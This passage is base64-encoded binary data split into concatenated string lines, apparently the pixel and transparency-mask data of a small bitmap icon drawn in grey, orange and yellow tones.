T5UAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPIdGX + T/nRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT1TRl09U0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl0/50ZdPIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXT5bRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl09U0ZdPVNGX + T//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT5UAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl09e0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0//0ZdPVNGXT1TRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl09dAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwBLS0tM0ZdPBdGXT9/Rl0//0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT1TRl09U0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0/e0ZdPBEtLS0xLS0sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tKS0tL60tL + SwrRl09q0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl09U0ZdPVNGXT//Rl0//0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl0//0ZdPaUtLSwxLS0vsS0tLSQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sBS0tLyUtLS/9LS0tu0ZdPCdGXT+fRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdPVNGX + T1TRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdP59GXTwhLS0tyS0tL/0tLS8hLS0sAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLS0tLS/9LS0v/S0tL4UtLSwXRl0930ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0//0ZdP/9GXT1TRl09U0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3ZLS0sHS0tL5EtL + S/9LS0v/S0tLSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLAUtLS8pLS0v/S0tL/0tLS/9LS0tf0ZdPDtGX + T+7Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl09U0ZdPVNGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GX + T+7Rl08NS0tLZktLS/9LS0v/S0tL/0tLS8pLS0sBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLS0xLS0v/S0tL/0tL + S/9LS0v/S0tL1UtLSwLRl0+D0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdPVNGXT1TRl0//0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl0+CS0tLBEtLS9xLS0v/S0tL/0tLS/9LS0v/S0tLSwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SwFLS0vMS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0tQ0ZdPFNGXT/TRl0//0ZdP/9GXT//Rl0//0ZdP/9GX + T1TRl09U0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0/00ZdPFEtLS1pLS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S8tLS0sBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABLS0tOS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLyEtLSwDRl0+P0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl09U0ZdPVNGXT//Rl0//0ZdP/9GXT//Rl0//0ZdPjktLSwFLS0vSS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLTQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sBS0tLzUtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tB0ZdPHNGXT/nRl0//0ZdP/9GXT//Rl0//0ZdPVNGXT1TRl0//0ZdP/9GXT//Rl0//0ZdP+NGX + TxxLS0tOS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS8xLS0sBAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLT0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLuQAAAADRl0+b0ZdP/9GXT//Rl0//0ZdP/9GXT1TRl09U0ZdP/9GX + T//Rl0//0ZdP/9GXT5pLS0sAS0tLx0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLTgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLAUtL + S85LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0sz0ZdPJdGXT/zRl0//0ZdP/9GX + T//Rl09U0ZdPVNGXT//Rl0//0ZdP/9GXT/zRl08kS0tLQktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS81LS0sBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLS1BLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLqgAA + AADRl09P0ZdPY9GXT2PRl09j0ZdPIdGXTyHRl09j0ZdPY9GXT2PRl09PTU1NAEtLS7tLS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwFLS0vPS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS+lLS0sCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SwlLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS85LS0sBAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tRS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0t63c1uAt3NbrLdzW7I3c1uyN3NbsjdzW7I3c1uyN3N + bsjdzW7I3c1uyN3NbrLdzW4CS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sBS0tL0EtL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vtS0tLDt3NblfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uWEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS89LS0sBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLUktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLfN3N + bgLdzW7T3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbtXdzW4CS0tLjEtL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLUQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLAktLS9FLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL7ktLSw/dzW5T3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1uWEtLSxdLS0v1S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S9BLS0sBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLS1RLS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS3/dzW4B3c1u0N3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbtXdzW4CS0tLjUtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLUwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwJLS0vSS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/BLS0sQ3c1uUN3Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uV0tLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9FLS0sCAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0tVS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0uC3c1uAd3N + bszdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + btTdzW4CS0tLjktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLVAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABLS0sCS0tL00tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0vxS0tLEt3NbkzdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1uV0tLSxhLS0v1S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS9JLS0sCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLVktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLhN3NbgDdzW7J3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbtTdzW4CS0tLjktLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLVQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLAktLS9RLS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL8ktLSxPdzW5I3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uVktL + SxlLS0v2S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9NLS0sCAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + S1dLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4fdzW4A3c1uxd3N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93NbtPdzW4CS0tLj0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLVgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSwJLS0vVS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/NLS0sV3c1uRN3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uVUtLSxlLS0v2S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9RLS0sCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tYS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0uK3c1uAN3NbsLdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbtPdzW4CS0tLkEtL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLVwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sDS0tL1ktLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFt3NbkDdzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1uVUtLSxpLS0v3S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S9VLS0sCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLWktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjN3NbgDdzW6+3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbtLdzW4CS0tLkUtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLA0tLS9dLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL9UtL + SxjdzW483c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uVEtLSxpLS0v3S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9ZLS0sDAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLS1tLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS4/gz28A3c1uut3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + btLdzW4CS0tLkktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLWgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwNLS0vYS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/ZLS0sZ3c1uOd3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1uVEtLSxtLS0v3S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS9dLS0sDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tcS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0uSAAAAAN3NbrbdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbtHdzW4CS0tLk0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLWwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sDS0tL2UtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9BLS0tsS0tLDd3N + bgHdzW5n3c1us93NbvXdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u+N3NbrvdzW5w3c1uCEtL + Sw1LS0tsS0tL0UtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9hLS0sDAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLXUtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vyS0tLmktL + SzZLS0sAAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4J3c1uS93NbpbdzW7h3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbubdzW6c3c1uUd3N + bg0AAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwBLS0s2S0tLm0tLS/JLS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLXAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLBEtLS9pLS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S8lLS0tkS0tLDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3c1uAd3N + bi/dzW563c1uxt3NbvzdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv3dzW7J3c1uft3N + bjPdzW4CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sNS0tLZUtL + S8lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9lLS0sDAAAAAAAAAAAAAAAAAAAAAEtLS19LS0v/S0tL/0tL + S/9LS0vuS0tLk0tLSy5LS0sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4V3c1uXt3NbqndzW7v3c1u/93Nbv/dzW7w3c1uq93N + bmDdzW4XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABLS0sAS0tLL0tLS5NLS0vuS0tL/0tLS/9LS0v/S0tLXgAAAAAAAAAAAAAAAEtL + SwRLS0vbS0tL/ktLS8FLS0tdS0tLCQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3c1uBd3N + bkHdzW5B3c1uBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLCUtLS11LS0vBS0tL/ktL + S9pLS0sEAAAAAAAAAABLS0tKS0tLi0tLSycAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSyhLS0uLS0tLSQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP// + //////////////////////////////////5//////////D/////////4H/////////gf////////8A// + ///////wD////////+AH////////4Af////////AA////////8AD////////gAH///////+AAf////// + 